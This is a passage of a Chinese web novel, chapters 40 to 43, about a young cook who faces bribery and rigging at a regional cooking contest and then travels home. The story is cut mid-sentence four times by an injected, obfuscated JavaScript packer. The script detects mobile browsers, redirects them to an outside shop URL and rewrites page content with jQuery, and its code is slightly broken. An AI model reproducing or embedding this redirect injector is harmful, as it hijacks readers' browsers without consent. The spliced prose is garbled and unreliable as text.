“台前辈要做那前三人，晚辈来，也是为了那前三人的位置，上了战场只有对手，此番必会全力以赴。”苏眠雪张扬一笑。 清水芙蓉重不在雕刻，就是在极尽艳丽的芍药前，也不匿失颜色。 台潇重她这份心性，在心底又鄙夷了一次赵儒。 拿过她的牌子，走在前头道：“这菜做不做得好呀，外观都是锦上添花，重要的是味道。” “你那道海棠果瞧得是漂亮，但不加作料，端上去怎么能吃呢，何况到了最后一关，猪肠是要当着安王的面处理，届时可不像现在，这么多人夹在其中，礼官看不见你，也不会管你怎么变出的一道菜，但王爷跟前看不得任何一点脏东西。” 话进了苏眠雪的耳朵里，她眨眨眼，“台老先生，我知道了。” 台潇领着她到了自己的位置，笑得欣慰：“你运气不错嘛，没和我们几个老家伙分到一块。” 老厨子经验丰富，也更熟悉比赛规则。 苏眠雪左右看了一圈，他们这组都是比较年轻的。 等待礼官放了考题，苏眠雪匆匆看了眼，红色布上拿金粉写了几个大字，“寻味淮扬鱼米乡，四海万味共归泱”。 清河城近水，作为淮州安王所在的封地，却离扬州不远，两州都属江南春，兴得鱼米之乡，泱有广博之意。 菜的最终品鉴者非是安王，一切都是太后的喜好。太后想要尝尝各地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006770|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的菜，自要有属于淮州的特色。 拿了两个新鲜莲蓬，取出莲子泡在温水中，莲蓬平截去底，剜出内瓢，留下莲孔。新鲜鳜鱼去掉鳞、鳃、内脏，洗净剔刺剁成鱼泥，鱼泥加盐、蛋清、姜汁，清水搅拌成鱼蓉。 莲子搓去外皮，拿刀背剁碎，加在鱼蓉里，搅拌均匀，填进莲孔。 做活的时候，稍拿余光将身边的六人的看了一圈，第一道菜淘汰三人，要礼官品鉴过后来决策，转了一圈她安下心，挑了两片荷叶，莲蓬放在荷叶上以作封底，放入甑中蒸熟，熟后里外都涂满蜂蜜，放在碟中，用渔父三鲜调味。 渔父三鲜是用莲子、菊花和菱角做得汤汁。 等她做完了，和她一组的其他六个人皆是胸有成竹站在灶台前，苏眠雪和一人对上目光，那人对她微微一笑。 锣鼓起，等待良久的礼官拿上筷子，先尝了第一桌的菜，搁下筷子，给了一块牌子，很简单的拿到通过的牌子 苏眠雪排在第五个的位置，七个人淘汰四个，一组只有三个名额，他们这组现在六个人只有两个名额。 她的位置很悬，若是剩下两个牌子都给前面的了，她不就是没有机会了么。 规则原来是这般的吗，第三块牌子递给了第三个人，礼官每道菜浅尝一口，放下筷子到下一个人的位置。 苏眠雪眼皮掀了掀，牌子都没了，后面就是仙浆琼露，都没了机会，不大靠谱的念头在脑袋里蹦出来，她便越觉得随意。 随意惯了才对。 礼官很快走到她这来，拿起筷子在莲子上面戳了戳，放嘴里一点味都没，礼官，忍不住皱眉，苏眠雪立刻上道地拿过新的筷子，从莲孔里挖出一块鱼肉，递过去笑得温和。 “您在尝尝。” 礼官狐疑地接过筷子，看着上边的鱼肉，再看看空了个洞的莲蓬，老脸一红，挂了不耐烦躁。 敷衍式的吃了筷子上的肉，，嘴里一边嚼着，一边向下一个走了过去，步履沉重，面色不好。 然没走两步，又折了回去。 回味着嘴里的莲子清香，轻轻抿了抿，还有碎了的莲子肉在舌尖上，鱼肉的鲜味伴着莲香，似鱼戏莲叶中，噙着一缕幽香酣睡，惊动后匿迹于湖水莲叶里。 掀开莲蓬，见底下是空的，连着荷叶一块拿了起来，转了两圈放回桌上。 拿起筷子扶着莲蓬，夹起一块鱼肉，汤汁顺着缝隙滴了下去，礼官不多犹豫立刻送入口中，慢慢回味，的确是如此。 淡淡的莲子香和鲜美的鳜鱼肉相辅相成，莲子不夺鱼肉的鲜，反而增添了香气，丰富了口感。 礼官显然十分满意，但他手上没有牌子了，三块都已经给了出去，要他再去拿一块也不是不成，就是来回的路，有一段举例。 他悄悄伸出手，比划了两下。 宽大的衣袖和灶台遮住了私底下的动作。 莲子一共九个空，礼官不疾不徐，留了时间给她思考。 苏眠雪试探地拿出三个铜板，放在他手上。 是这样的吧。 40. 山海兜 礼官趁吃得片刻，往下瞄了眼，掂量一下，就三个铜板。 菜的味道不错，是个好苗子，就是这点钱，连杯茶都喝不到。 礼官放下筷子，苏眠雪心下了然，立马将事先备好的银子塞了过去，笑道：“这秋老虎真厉害，光吃菜也没味，配着茶吃才有韵味。” 二两银子，够喝两杯上好的茶。 接下来的都不关她的事，到了后边，那礼官又用同样的方式收了杯茶水钱。 牌子是结束后偷偷折回去拿得给他们，新的牌子到手上时，苏眠雪直接放进了口袋。 拿贿赂得来的牌子，便是她本该入选的，但心底的膈应始终挡不住。 好似她也成了没有本事要靠其他才能入选的人。 台潇来时拍拍她的肩，“入选了便好，接下来的就没这么容易了，不过有本事的，还是能削尖的脑袋挤一挤。” 要去长安的那三位礼官可都不敢马虎，台潇作为过来人，看清楚他们这边动向，也明了她做菜的确不错，只是那礼官不是个人。 一组里头三个没啥用的花银子买了过关的名额，导致后面靠本事的，也要拿银子才能得到自己本来该有的东西。 “他能在比赛的时候要你贿赂，能看出你和你后面那位，都是真材实料的，可不是那些三脚猫功夫，竟想着旁门左道，拿了这个牌子摆在酒楼上头又能证明些什么？好妹子没让我那五百两银子打水漂了去，今天去我那喝杯茶。” 苏眠雪捏了下怀里的牌子，话是这般说，但在她看来，他们这组有五人进选，在不知情的人看来，谈及贿赂定是他们后边的人。 心里面闷闷的，一股气一直喘不上来。 打她来到这起，便清楚要顺应这里的法则，她实在不喜欢这些弯弯绕绕的，送礼送钱财都是避不过的，她只气这礼官也太不当人了！ 不该是先全都尝一遍，好歹每道菜总要评论个好坏咸淡，装模作样的活都不干了，是怕收了钱不小心暴露闹大了吗。 比赛有比赛的规则，拿了这个牌子供在自己店里有门面，但也不能全然失了公平。 这牌子放在怀里头硌得她生疼。 裴攸不见踪影，二两银子白花出去要她心疼好一会。 来的钱和住宿费提前用出去了，但回去的路，跟着他们一块来的马夫，马还需要照顾，一来二去苏眠雪是彻底没了底气。 闷闷道：“难不成后面的机关，都要我花银子才能过吗。” 台潇没说话，轻轻叹了口气，带着离开，走到一条偏僻的巷子，里头传来打斗的声音。 听起来像是以多欺少，苏眠雪留了心眼，刚走出去没两步，被突然冒出来的裴攸捏住手腕。 “里面的人都不是慈善的，多一事不如少一事，走吧。” “你……”苏眠雪咽下还没吐出的话，被他拉着往刚刚那条路返回去，她转过头努力看清被打得发出闷哼声音的人。 思绪如潮涌入脑袋里，他指尖不同往常般冰冷，指腹磨过她的虎口，带起一稍一稍的痒意。 裴攸拉着她进了一家酒楼，苏眠雪顿下脚，这里的酒楼可不兴随便进，“那家酒楼啊你就进去，我们没钱！”谈起钱，她压低了声。 脚下的步子并没有因为她的话而止住，反而受到店小二热情的招呼，苏眠雪不好拉扯，坦然跟在小二后边。 又问：“你有钱？” 裴攸摇头：“没啊，台老请我们。” “刚刚他还走在我们前面，可能是嫌我们太慢了。” 推开门，桌上已经坐满了一圈人，台潇拍了拍边上的位置，苏眠雪和裴攸走上前坐在一块。 有些面孔在畔湖边上碰过，但都是生面孔，连名字都叫不出来。 苏眠雪到这也有好几日，只是人生地不熟，她和裴攸都是第一次来这儿，第一日跟本地的打听过后，要想接触参加过大赛的老前辈，面都打不着，只有匆匆两眼，隔几日连对方是谁都不记得了。 “人都到齐了，上菜吧。”台潇看了圈。 目光落在她身上愈显沉重，苏眠雪低下头避开这道带着深意的目光。 桌上已经上了菜，同桌的都是老前辈，互相推搡着酒，一圈只有苏眠雪和裴攸两个外人，但好在台潇一直拉着他们说话，气氛便没那么尴尬。 用完膳，台潇将赌注赢得十两银子给她。 “前头的都没多少钱，你若对自己有信心，便自己买着玩，不过少花些银子，莫将钱都玩光了。” 此话说得轻巧，好似跟真的玩一般，她道：“我还以为台前辈对我有很大的信心，怎我就赢了一把，这话说起来好像后边会很难。” “不难吗？” 台潇想了片刻：“丫头自己去想吧，这关啊，是每个人的必经之路，只愿你别忘了自己的初心。” 裴攸打了伞给他遮太阳，苏眠雪心安理得受着，没将人打伞其实是为了自己这件事拆穿。 他身体不大能折腾，借着她名义便也随着，秋老虎厉害着，一点不比夏日凉爽。 今天一共有十一组，一组七人，每组三人选出，一共三十五人，她粗略估得。 接下来再分为七人一组，便是五组。 再次淘汰之后，便要安王来评选最后获胜的三人。 说不紧张是假，放平了心态，照裴攸的话说，她经验不足以前面的人，若是输了也在情理之中，当做长长世面出来走一圈，也好过呆在景乡镇里。 苏眠雪敛财，赚来的银两都舍不得花，顶了天到季节做两件当下了衣裳，买只配色的簪子。 还有就是苏盈身上，旁的就没得多了。 第二日苏眠雪到了广场，湖中波光潋滟，远处一边栽了大片荷花，或粉或白，在绿浪中娉婷袅娜。湖边停靠几艘画舫，其中以中间一只最为壮观，裴攸皱着眉，看着船上锦衣华服的人，轻微的瞥了下眉，随后移开目光。 “阿雪，我先走了。” 苏眠雪轻轻点了下头：“嗯，等结束后我去找你。” “成，到时候去街上逛逛，等明天你比完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064035|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，后头我们也能走了。” 前三的名额暂没想过，苏眠雪对自己的目标也简单，过了今日，拿个三等便成。 目光在广场上饶了一圈，边上有卖冰水、果子的摊子，粗略数了下，还有四十来张桌子。 她运气有些不好，和赵儒一组。 赵儒今天走路的姿态有些僵直，衣服的领子拉得高，见到苏眠雪，和她打了一声招呼，到自己的位置上，娴熟地坐在边上，看紧了竹筐里的猪肠，笑得不明所以。 苏眠雪没在意他，等比赛开始，选了自己需要的食材，习惯性的先看了圈周围，最后瞧一眼摆在正中央的巨大沙漏。 沙子流动的速度要比前几日快一些，沙子的数量变多，但时间总体在减少。 赵儒还是那道菜，拿起小心包裹的木头，摆在盘子上，比起其他一些没有信心的状态，他倒是胸有成竹。 动了动被打伤的骨头，“哎呦”叫唤了声，引来旁人的注意，立刻闭上嘴噤了声。 苏眠雪拿了自己需要的食材，一一放在案板上。 她早早将苏时章的菜谱背了下来，事先也练过手，这些早早备好的菜做起来得心应手。 嫩笋、蕨菜拿热水煮过，新鲜鲫鱼、河虾清理干净，切块热水泡过，上锅蒸熟。 起锅热了油，胡椒放在小碗里研成末，嫩笋和蕨菜先倒进鱼虾肉泥里，后胡椒粉和熟油、麻油、盐放进搅拌均匀，馅料填在绿豆粉皮，制成福袋模样，以此为“兜”。 四个晶莹剔透的福袋隐约透着里面的食材。 各色颜色尽显丰富，边上有不少人探头而望。 不过众人都是管着自己的菜，待礼官来时，奉上筷子等着品尝。 这次的礼官是先将菜全都尝了一遍，筷子只沾了一点菜，顶了天只能有一点咸味，用了这道菜，边上有人提前备好的茶水润喉，先去了上一道的味道，再吃下一道的菜。 到了苏眠雪这，礼官也不含蓄，拿起筷子夹起一个，咬了一小口，只吃到了一点皮。 皮上带了些鱼虾肉，味道并没有多惊艳，在礼官看来只是很平常的一道菜。 “大人，您不多咬一口吗，里面有鱼虾、嫩笋和蕨菜，只咬一小口，尝不出里头的味。” 苏眠雪叫住礼官，这礼官拂了拂袖，公正无私看向她，眉峰轻撇，按下被公然冒犯的不快，没有情绪的声音陡然传来：“本官都是按照公务行事，你若有异，可以去官府里头对着里头流程。” “年年都是如此的，苏老板莫将事情闹大，王爷在船上看着呢。” 赵儒将自己的菜端到了礼官前，隔住两人的视线，示意着她湖岸上正停靠着的船。 湖岸上的画舫做工精美绝伦，从底下往上数，足足有三层之高，最上层的帘幔轻舞，带起水面漫漫涟漪，隐有暗香浮动，风平浪静。 “我知道了。” 风平浪静只是暂且，她心中已经有了答案。 有些话不必多说，就像有些事已经定了结局，做再多也是无力用功。 41. 桂花糕 清河城内一片祥和，除了客栈的价格变贵，除了百姓不得在湖岸边上行走，并没有什么不一样。 对于厨艺大赛，清河城的百姓只有到了最后一天才感兴趣，对于苏眠雪来说，是谁上都一个样。 王爷想推上去的人，又有谁会说不妥。 “来清河城花了十天的脚程，又在这呆了好几日，等到回去，算算日子该错过给大牛哥回信的日子。” “少了一次信，等下次你将这些礼物都一块补上，他看了指定高兴。”裴攸琢磨不透情绪，眼中带了莫名的失落。 苏眠雪当他文人情怀，喜爱伤春秋悲，自也没放在心上。 集市里人来人往，热闹非凡，边上是掌柜的吆喝，她一路领着进了一家制作袄子的铺子。 现在刚刚到秋季，眼下制作秋衣的人不少，摆在铺子上的也是当下时新的布料花纹，一匹布一两金，是城内夫人小姐的欣喜之物。 “公子、姑娘，这可是我们铺子当下卖得最好的款式，安王身边的侧妃娘娘，前日可是买了整整十匹！颜色不一样，但都是这个花纹料子呢！” “自从侧妃娘娘买了这料子制衣，迷得王爷连连宠幸后，王府里的女眷可是争相购买，就怕一时手慢没了布，被人比了下去，失了王爷宠爱！” “姑娘，让你身边的公子给你买一件吧，您瞧瞧这花纹，可是从长安那边运来的。” 一匹鹅黄色的料子呈在她眼前，苏眠雪上手摸了摸，手感光滑柔软，在阳光下泛着光泽，宝相花纹的款式的确好看。 她手上因为长期拿着勺柄，指上有细细的茧，触碰时小心翼翼，怕将这价值不菲的绸缎划下一条丝。 这匹料子的确好看，可做秋日的裙子或斗篷，苏眠雪看了又看，将拿起时不小心带起的褶子抚平，放回沉重的红漆托盘里。 “掌柜的，给我看看冬日里的成衣，要穿在里面够保暖的。” 掌柜为难道：“姑娘，现在才十月，离冬日还有整整一月，且不说咱们淮州的风水养人，冬日里都不大见雪，你要冬日的成衣，怎么说，也要再等半个月。” “我好友在川州，那边气候湿冷，去时还是夏日，带去的冬衣都不足以御寒，这不想着趁现在太阳足，多晒晒下月送去，好保暖保暖。”苏眠雪解释起。 淮州的风水的确不错，大街小巷都透着富贵气，便是那所谓平民来往的城西，在她看来同景乡镇的巷子别无二样。 不过在繁华的清河城内略显不足。 “川州啊，那边的确冷，离北国就不远呢。”掌柜叫来一人，吩咐道，“拿几件厚棉衣和大氅来，要今年新制的。” “我们家的棉衣，穿在里面可挡其他家的四五件呢，穿在里头就是去冰山里头走一圈，人都完好无损！” 四名伙计很快端来红漆木盘，两个里头是穿在里面的棉衣，两个里头是冬日的氅衣。 一边颜色较暗是男子的款式，一边颜色靓丽是女子的款式。 不愧是清河城最大最好的成衣坊。 王府女眷在他家买衣服不假，掌柜的惯爱夸大其词，哄得旁人听的晕头转向，且是长安拿来的料子，都是达官显贵才能穿上的，自然生意红火。 “这些都是今年新摘的棉制的，您摸摸，暖和着呢。” 苏眠雪抚过边上暗色花纹的衣服，纯黑色的大氅被铺开挂在边上的架子上，袖子、衣摆上绣了大片银色的花纹，胸口处有两根银链，用来装戴金银首饰，领口上的银白色披肩触感柔软。 她出门带了二十两银子，轻轻摸着上面的暗纹，在她想来最多不过十两银子。 这件氅衣里头的棉别提多厚实，穿起来也气派，十两银子下去值了。 苏眠雪问：“这件大氅多少钱。” 掌柜喜道：“一百两银子，我瞧您是第一次来，这些一共算您一百五十两如何？” 这些指的是男子款式的衣服。 一件氅衣，两件棉衣，一百五十两银子，把欲满楼卖了她都拿出来。 笑容僵持在脸上，裴攸又拿起一旁的鹅黄色料子，“这匹布多少钱。” “这匹啊，这匹布二十两银，您眼光真好，刚刚姑娘都看入了眼，这里能做两件衣服，您们若是想要，这些都给你们包上。”掌柜招呼着边上伙计。 苏眠雪出声制止：“掌柜的，我们出门在外没备多少银两，这件氅衣是极好的，只是囊中羞涩，我再看看别的。” 话是这样说得，她目光迟迟不能从氅衣上挪开目光。 第一眼相中的东西最是难忘。 日落西山，下午的比试已经结束，灼日染红了大半浪花，一层一层堆叠着，拍打着中央的画舫。 微风轻抚水面，撩起层层帘幔，金子制得塔顶照在她面上，一时移不开眼。 苏眠雪一时迷了眼，她在向往。她在心底问自己，不辞万里来到这的人都该向往的。 …… 台潇一如既往止步在下午的这一关卡，明日便是决定胜负的时候。 除了一开始的热闹，后来没有百姓愿意在这些事上费时间。 所有的不公通通咽下去，他都走了十几遭，心性早被磨练干净。若说一开始的失意，后来的不服，现在的认命，好像都是已经规定好的。 拿银子打通的走在前头，迎个门面。安王安排好的人走到最后，几人里分个胜负，作为心腹远赴那长安，都是利益在里头。 还有什么好去顶撞的，到最后只是自己一身伤讨不到半点好。 他意外的是苏眠雪竟会做御膳，那山海兜是宫廷御膳，只是礼官不识货，要他来选，他是安王定会拉拢苏眠雪，等到来年将小姑娘送去。 台潇自嘲笑笑，找到苏眠雪住得客栈，没见到她，见到了怀里抱着东西的裴攸。 鹅黄色的料子靓丽灵动，台潇递过钱袋里的五百两银票。 “给那丫头的，一年来一次也不容易，清河城里样样都贵，买些东西带回去，莫让丫头委屈了自己。” 台潇路赶，不给裴攸说话的机会便已离开。 来时的路觉得太快，还没能看清路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064036|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的风光，但在这所经历的，回想之后又觉得可笑。 店小二送来的菜依旧一个样，一道清炒菜心，一道干菜扣肉。 凉意席卷而来，吹着有些年头的老旧窗户吱呀作响，苏眠雪靠在窗户边，底下有卖桂花糕的铺子，香甜的气味止不住往鼻子里头钻。 三十文一份的桂花糕远远望过去就知道那又香又甜的味道，上面还浇了一层红糖水。 她舔了舔唇，被桂花糕勾起的肚子开始“咕咕”叫唤不停。 桌上的青菜和肉起了油脂，看起来一点食欲都没。 菜是中午送来的，店小二本来要进来收碗，但见她一口未动便留下来。 苏眠雪来到这之前也才二十岁，她没见过什么大风大浪，要说最大的抉择，便是她父亲想要她做一名厨师，承他的衣钵。 她不喜欢当厨师，她不喜欢被某样东西掬着，就是选择，也该去选一样自己喜欢的东西。 来到这儿之后，刺绣和做菜比起来，从小在父亲身边耳濡目染，她有几分天赋在身上，也懂得一些做菜的技巧。 不知过了多久，晚霞残缺，店小二挂上明烛，火光昏暗，桌上的菜又换了一遍。 裴攸走进来，将东西放在她面前，见桌上饭菜未动，拿出手里的糕点摊在桌上。 雪白掺着橘黄色花碎的糕点散着香甜的气味，上面浇了红糖，是底下的那家。饿久了的肚子又开始“咕咕”抗议。 苏眠雪捂着小腹，往下压了下，止住抗议的肚子，拿起一块桂花糕含在嘴里。 桂花糕香甜可口，滋润松软，和她想得是一样的。浓郁的桂花清香彻底勾起了最后的防线，丝丝缕缕的绵密在唇间缠绵，晕开舌尖细腻的清甜。她喝了水润喉咽下口中的糕点。 肚子被填饱了，放在桌上一角的是收拾好的包裹。 室内静谧无声，苏眠雪从一开始的激动，失望，到最后的无波，一切都是平静的度过，没有一点儿声音。 “难受就说出来，我说过，这只是我们去长安的一条捷径，捷径走不了，我们就换一条路，踏踏实实的走过去。” 苏眠雪有时候过于较真，像是认定了某一件事的孩子，非要去讨究这件事的对与错。 但她又不会说，她会自己慢慢的想，然后从屋子里出来。 “不公平就是不公平，既然是看银子来排名序的，何必再昭淮州的厨子来比试。” 裴攸坐在她边上：“那便是皇上的意思，安王通过这个手段来选自己的人。” 她反驳：“是安插，不是选。” 鹅黄色的布料展开在她面前，布料边上，是她看了很久却舍不得买得氅衣。 剩下的银两原封不动到了苏面雪手上。 她不要，裴攸说：“布料是你的，但李大牛的钱是我借你的，到时候记得还我。” 苏眠雪不喜欢欠下人情，裴攸也不喜欢。 这钱是苏眠雪向裴攸借的，裴攸向台潇借的。 相逢何必曾相识，对他来说，不过浮水相萍，一场过客。 42. 烤鱼 回家的路只觉得马夫驾车太慢，路上的风景已然没了兴趣欣赏，她一心扑在回家的路上，怎么都静不下心。 只好左看右看，一整天下来将屁股硌得生疼。 裴攸看在眼里，在她凳子下又加了一层棉花，摸起来软软的，坐下去都找不到主心骨。 放在边上的氅衣摸了又摸，裴攸咽下口中的苦涩。刚刚喝了凉茶，临时搭着火坑煮的茶，味道不怎么样，草多水少，熬出来的汤汁带着浓浓的苦腥味。 喝了半水囊的水都压不住从舌根散出来的涩。 “安心坐着，动来动去等会又要喊疼，我们今夜走在官道上赶路，明天再去客栈休息一晚。”就是苦了马夫和马。 苏眠雪不用说，他就已经猜到。 风轻云淡当不了真，她为这次比赛准备了很多，只是将不公藏在心里，就像昨晚的那句话——是安插，不是选。 失望都是真的。 等赵儒回来，又有的嘲讽她了。 “远在长安的皇上，不会知道他做的手脚吗，安插几个厨子进去，又能做得了什么。” “淮州已经好久没有厨子入选了，皇上知不知道，又岂是我们平民百姓能想得，我们只用安安心心的，等你攒够了钱，去长安找你爹娘。” 她对苏时章没什么特别印象，三言片语画不出有模有样的图，模糊不清的话也拼凑不出他所行的目的。 不过去长安，是她的目的，亦是她的责任。 她为自己，不为旁人。 她是独立的，不会受人摆布的，是会对自己所行负责的。 裴攸眉眼温和：“这场比赛当不了什么，以前可能是公平的，但时间久了，人多眼杂，里面鱼龙混杂勾当自然多了。” 他生得本就好看，长发随意披在肩上，身上白衣一尘不染，坐在狭小的马车里也不一般。 他该生在富贵人家，坐在清河城湖边的画舫上，不染世俗的欲望，居堂上受世人的艳羡。 “我很好看吗。” 裴攸敛下身上的气息，撩开半边帘子，月色朦胧，皆落在他身上，似天上不问世事的仙人，随时染上凡尘的烟火。 苏眠雪拿出包裹里的炊饼，拿过水囊晃了晃，这个里面没有水了。 她拿了另一个水囊，倒了些水在碗里，炊饼泡在水中，吸了水泡软了些，拿过开盖的咸菜，勉强就着软烂的炊饼糊口。 饼是早上买来的，放久了咬下一口都难，只好泡水配咸菜将就吃着。 “是挺好看的，但好看也不能当饭吃。”苏眠雪一边吃一边说。 等自己填饱了肚子，才想着裴攸还没有用晚膳，拿过新的炊饼重新弄了一遍。 裴攸吃着跟米糊一样的炊饼泡水，咸菜嚯在里头卖相凄惨，他不如和马夫一样，将咸菜夹在饼里，也好过喝这玩意。 “车里还有挂面和盐，等到了地方，去打一只野兔配着吃。”连着吃了好几日相同的菜，上了马车后一日三餐只有炊饼和野菜，不沾荤腥唇边燥的很。 他提议时眉眼依旧带笑，夜色寂籁，车轱辘驶过马蹄扬起纷纷扰扰的黄沙，蒙在狭小的车厢内，唯有撩开帘子喘一时片刻的气。 除了清河城的荷花，目极之处的荷花都已谢了，独剩垂下半身腰肢的竿。 马车里伸不出手脚，路边残树上高挂的柿子是没有主人家的，行了一晚的马夫精疲力尽，接下来要走段小路，夜色难以辨识，停下脚步稍作休息。 下了马车的苏眠雪活了过来，顾了眼四周，哪里有兔子的痕迹。 边上近着水，只有石头缝里出来的小草，经历过夏日临来的秋日着了枯黄。兔子也不会生在没有青草树林的地方。 “兔子呢。”苏眠雪在堆着物什的角落里翻出挂面和一把蔫了吧唧的青菜。 马夫找了一处空旷的地上，搭建一个简陋的灶台，两边用三根粗棍子交叉叠在一块固定住，一根棍子横放在交接点，一根绳子绑住小锅，和中间的棍子离了两厘米，拿水囊在水边打水倒进锅里，生好火，坐在边上漫无目的丢着木块，拨弄着火苗。 水里有鱼，裴攸束起衣服下了水，一手拿着木棍，一手拿着篮子，弯着身聚精会神。 锅里的水沸腾着，咕咚咕咚冒着泡泡，面条放进锅里，冷物吸走了热流，沸水沉寂。落叶随风飘零，远处有几棵柿子树，七零八落挂在枝上，都是些被山林里的鸟啄过，或是还在发涩的柿子。 橘红色的果子在一片黄野中异常耀眼。 苏眠雪移开目光，手里筷子搅动着面条，加了盐，一把小青菜丢进锅里，又倒了些凉水，拿盘子盖住小锅。 “咕咚咕咚——” 锅开了，面条和青菜都熟了。 小道上没有客栈店家，只能应付 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100990|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下。 有了过来时的例子，回去的路苏眠雪准备了很多，过了今晚，再走一天路停歇一晚上，就能回到景乡镇。 面条分到三个碗里，横在中间的棍子被挪开，小鱼去了鳞片，掏出里面的内脏在水里清洗干净，从树上折下来的枝条去掉软绵的部分，底端磨出了尖尖，从嘴里穿进去，再从尾巴那破口，搭在两边的支架上，拿叶子遮住火，以免鱼肉一时的不注意而被烧焦。 苏眠雪吃完了面，又被面前的烤鱼味吸引了目光，简单收拾完碗筷，坐在石头上吹着晚风，等待她的烤鱼。 “鱼肉好了吗。”她等待有些不耐，睁开眼，见那人笨拙的转着鱼，盐巴一点一点撒在肉上。 鱼类作为河鲜，本就带着一层腥，想要处理干净葱姜必不可少，眼下就单单一个盐，不能做出多么美味的菜。 “好了。”裴攸心里一急，手上的动作一缓，不小心将盐倒多了，拿过一双筷子将多的盐扫下去，一个翻身，鱼糊了。 一股焦香味传来，去掉漆黑的鱼皮，还能入口。 一阵风吹来，火堆里的叶子被点燃，小火变成了大火，裴攸拿起手里的鱼退了好几步，小鱼除了糊了点，卖相凄惨了些。 刮掉焦黑的一面，露出里头烤得微黄的肉，咬下去尚且入口。 裴攸的手艺不精，后面的两条鱼是苏眠雪动的手，卖相还是味道都要比他的好许多。 吃完鱼肉收完残局，夜悄悄摸了上来，掩住仅剩的半抹残阳。 休息一晚后，等到晨曦破晓，跟来的只有一匹马，它喝完水带上马鞍，接上连着马车的皮具，向着景乡镇前进。 今早多出来的还有几个橘红色的柿子。 苏眠雪拿出放在边上的氅衣，唇角带着笑：“川州到淮州需要一个月，淮州到川州也要一个月，这件氅衣还要再等两个月才能送到他手上，就是不知道下个月他没收到我的信会不会急。” 她来到这除去苏时章，第一个遇到的就是李大牛。 两家是邻居，平日里同兄妹一样照顾她，苏眠雪暂未有答案，但是五年的时间她等得起。 只要不叫她失望，将来到了长安，她愿意去找李大牛，愿意履行他们之间的承诺。 裴攸压下嘴里从舌根处返上来的苦涩，替她放好拿出来的一角氅衣。 依旧漫不经心：“他会喜欢的。” 43. 桂花山药 淮州有一年四季，没来到川州时，觉得淮州的冬日寒风刺骨，来了川州日日吹着风，可是叫人领会了什么叫做风也能做刮骨刀，一刀一刀割在脸上，一天下来糊了满面的霜。 眨下眼睛都能感受到睫毛上的冰霜，咔嚓咔嚓吱吱作响，需要用手来一点一点将冰渣子掰下来，才能闭上眼。 李大牛倒完恭桶，找了处角落坐下歇脚，看着不远处的驿站，眼中写满了期盼。在这儿每日的盼头就是从淮州来的马车。 马车里载的是从家乡送来的关怀、期望，亦是远在边疆，两地相隔承载着思念的脐带。 李大牛抹了一把脸，看见写了“淮”字旗帜的马车来，站起身跟头牛一样冲了出去，拨开围在边上的人，跑到驿夫前头，找到景乡镇的那一畧信和递来的物件，很快找到了李大娘的信和衣物，将一封封信上的人名都看了一遍，始终没有苏记或是欲满楼送来的。 皱着眉，又老老实实找了一遍，难不成是掉到其他地方了。 边上几个城镇的信也被他找了一遍，驿夫在边上看着，见他翻完后又理了回去，也没阻止他找周围的一圈。 就是周围的找完了，还是没找到苏眠雪送来的信，他开始翻外边一圈的，大块头挡着不少人视线。 这里不止李大牛一人急，远离家乡的那个不想收到家里来的东西，驿夫拉住他的衣服。 又湿又硬，穿在身上能舒服吗。 “这位小兄弟，我这信在来之前都是一个镇一个镇收好的，你是这个镇的，就不会跑到其他地方去，你要是还找不到，那就是家里的人正忙着，忘记给你寄了。” 李大牛缓了动作，边上挨了十来个人，堵住外边吹进来的冷风，几个驿夫坐在驿站的最里边，围着火炉烤着火，冻红的鼻尖受到暖意抽了抽，有些痒痒的，拿出帕子擦去鼻尖上的水珠。 “怎么会呢，眠雪妹妹向来细心，她先前还答应我，下次要给我带礼物，定是我不仔细，不小心将她送来的东西给漏了。” 迟疑的片刻，剩下的人从角落钻了进去，很快便被挤到了最外边。 韩兆来的晚，看他手里拿着两个包裹，沉着脸，询问道：“怎的了，是眠雪妹妹送得东西不合心意。” “你的。” 